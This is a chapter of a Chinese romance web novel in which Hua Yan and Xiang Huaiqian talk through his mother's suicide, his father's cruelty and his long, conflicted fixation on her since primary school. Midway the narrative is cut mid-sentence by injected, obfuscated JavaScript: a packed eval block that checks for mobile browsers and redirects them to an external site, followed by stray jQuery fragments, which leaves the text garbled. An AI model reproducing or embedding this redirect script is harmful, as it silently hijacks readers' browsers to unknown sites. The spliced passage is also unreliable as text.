凌晨的街头空无一人。
花言几乎停止呼吸。
她听见自己的心跳声，对方的心跳声，几乎能感觉到血液一寸寸流经血管。
低沉的声音在耳垂下方响起，空气振动，细小的寒毛竖起来。
“你想听我说什么？我都跟你说。”
花言莫名觉得，那音色中透着一丝残忍。
铸铁一般禁锢着自己的力量消失了，随即，手被紧紧握住。
花言被拉着大步走起来。
一路经过街道，进入老旧的楼房。
很不安。
几乎想逃跑。
但是并没有逃跑的机会。
花言被按着坐进沙发里，眼看着向怀谦拉了一把椅子坐在对面。
膝盖碰着膝盖。
他那么高大，一身黑衣，向前倾着，神色肃穆，目光沉沉，笼罩着自己。
花言感受到一种前所未有的压迫感。
向怀谦突然出声：“你想听我说什么？”
花言一激灵，差点跳起来。
她努力平复自己。
脑子飞转着。
我想听他说什么？
对了，当然是那件事。
花言直接说出口：“那个，你妈妈自杀的事情，你是不是一直觉得自责？”
向怀谦笑了一下，露出一种理所当然的神情。
“当然自责了，本来就有我的责任。”
“不是这样的！我觉得你不能这么想，那个时候你还是个小朋友，你懂什么呢？如果非要说有人要为此负责，那个人也应该是——”
花言打了一下磕绊，没能立刻指名道姓。
向怀谦随口接上：“我爸爸？”
花言不敢说话。
向怀谦又笑了一下。
是那种毫无温度的笑。
“他当然应该负责。”
“我爸爸白手起家，成就了一番伟大的事业。因此，他非常骄傲。”
“不，也许正好反过来，是他的骄傲成就了他的事业。”
向怀谦摇头，“我不知道，我没有过他那样的经历。我只是一个受到荫蔽的二代，没有资格去揣测他。”
“他习惯于发号施令。按我说的做。不要找理由。我只要结果，不要借口。”
“他总是指责妈妈。这也做不好，那也做不好。”
“小时候，家里总是有很多宴会，那些宴会都是妈妈精心准备的。每次宴会结束，他都会总结出一二三条不太完美，四五六条有待改进。那个时候，妈妈总是很局促，不停道歉。”
“他们也有过许多甜蜜时光……爸爸心情好的时候，会拉着妈妈的手不断亲吻……我不知道……我不知道哪边才是真的。”
“最伤人的一件……我从有记忆以来，就被妈妈带着一起弹钢琴。我至今记得，我们并排坐在琴凳上边弹边唱，一闪一闪亮晶晶，满天都是小星星……然后，毫无预兆的，爸爸另外找了个老师来家里。他对妈妈说，你不要乱教。”
花言发出小小惊呼。
怎么会有这么刻薄的事情？
那位美丽的夫人……她该有多难受啊。
向怀谦的脊背弯下去。
“她只问过我一次。”
“她问我，如果离婚，我愿意跟着她吗？”
“我很恐惧。我的脑子无法思考。我只是隐隐知道，那是不可能的。”
“于是我什么也没有说。”
“那之后，妈妈再也没提起过这个话题。”
“我想，她应该是放弃了。”
“离婚的话，她会失去抚养权。她清楚地知道这一点。”
“于是，她一直留在那个家里。那个对她来说有毒的地方。”
“一个家里一共三个人。其中一个人凋谢了。剩下的两人，你能说其中一个没有责任吗？”
花言毫不犹豫：“当然没有。你那时还是小孩子呢。”
向怀谦笑了。
那个笑容充满了包容的意味。
花言肚子里烧起火。
“你是不是根本不把我的话当回事？”
向怀谦仍是笑，“没有，没有。我最重视你了。”
花言气得脑子嗡嗡的，“你不要敷衍我——”
向怀谦突然插话：“那天晚上，你问我喜欢你什么。”
花言瞬间收声。
心脏开始猛跳。
向怀谦的眼睛像黑夜一样幽深，让人不安。
“对于我而言，这个世界是一道解不开的题。每一种解法都是错的。不管怎么努力，永远得不到那个让人心安的答案。”
“而你，却是这一切的反面。”
花言：？
他在说什么，听不懂啊。
“记得在阿婆楼下的初见吗？”
花言猛点头。
原本是那样寻常一个冬夜。
冰雪一般的他忽然出现，昏黄灯光透过樟树枝叶，变成光斑，落在他发梢肩头。
她怎么会忘？
那是日常化作奇迹的一瞬。
向怀谦的笑容终于染上温度。
“我说不记得你，那是假的。在你看到我、认出我之前，我就已经看到你、认出你了。”
他狭长的眼睛微微弯起来。
“我曾经花那么多时间注视你，你的一举一动都刻在我眼里。我又怎么会认不出你？”
花言：？？？
他在说什么？
……注视我？什么时候？
她声音颤抖：“你都看我什么了？”
向怀谦视线微微飘远，似乎陷入回忆。
“大约是小三那一年吧，有一天，你带了自家做的米糕来学校。”
“你的米糕装在竹篓里，一份一份用油纸包着。你抱着竹篓，一点也没有犹豫，直接从教室第一排开始分发。”
“大部分人都很开心。但是有个女生不肯要，她带着嫌弃的表情，说，妈妈不让吃来历不明的东西。她这么说，平时和她玩在一起的几个女生也说不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808734|170620||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要。”
向怀谦低声笑了一会儿。
“你一点也没生气，只是举着米糕再次推荐，你说，很好吃的，不吃可惜了哦。那几个女生还是不要。于是，你跳过她们，把米糕发给别人。”
“你那么笃定，没有一丝一毫怀疑过自己的米糕有问题。
“最后，反而是拒绝你的那几个女生焦躁又生气。”
花言：！
她隐约想起这件事。
“不是，等一下，那时候，我是不是……把你也跳过了？”
向怀谦含笑点头。
花言尴尬得不行。
“那个，我当然想给你的！我只是不敢……那时候我怂得很，在我眼里你太高不可攀了，我甚至不敢和你说话……原来你想吃吗？我真的不知道，你可以跟我说的啊，你说的话，我肯定会给你的！”
向怀谦只是笑，笑容却有些凉凉：“你让我说什么？我想吃你的米糕？”
花言：“呃。”
对哦，高岭之花怎么能嘴馋小小米糕。
她忍不住缩起脖子，偷笑了一下。
向怀谦伸出手，指尖轻轻落在女孩的额发上。
花言心如擂鼓，全身的知觉都集中在了额头那一小簇发根的地方。
她感觉到对方的手指轻轻下滑，带着发丝，落到耳后。
那一丝热意停留了短短一瞬，随即倏地离开。
让她心里一空。
“你那样热情，对每一个人散发着喜欢的讯息，又那样笃定，理所当然接受别人的回馈。你总是散发光芒……让我觉得非常刺眼。”
花言愣了一下。
刺眼？
“你问我喜欢你什么？我回答不出来。事实上，我曾经非常恨你。有时候，我感觉自己的存在像一个错误。而你的存在，让那种感觉加倍强烈。”
花言：？？？
每个字都能听懂，组合在一起，却领悟不到含义。
恨？
怎么就说到恨了呢？
她张着嘴，心中有千言万语，却一个字也说不出来。
向怀谦再度抬手。
这一次，指尖落在了眼皮上。
“你的眼睛那么亮，幼时的我一度很讨厌，但是我现在才明白，除了讨厌，还有嫉妒，因为你的眼神没有落在我身上……当你终于看向我，眼神那样热烈又迷恋，我能体会到快感在骨头缝里滋滋作响……”
花言全身凝固，不敢动弹。
她清晰感受着来自指腹的热量，试图控制，却根本控制不住，眼皮在那份碰触下疯狂颤动。
脑子飞速运转，试图整理刚才听到的这些话。
根本整理不清，晕乎乎乱成一团。
花言猛地伸手，紧紧抓住对方的手指。
想不明白的问题，就直接问出口好了。
“所以，你的意思是，你从小学就开始喜欢我了。”
“是这样吗？我理解的对吗？”
她在向怀谦的眼睛里看到了震惊。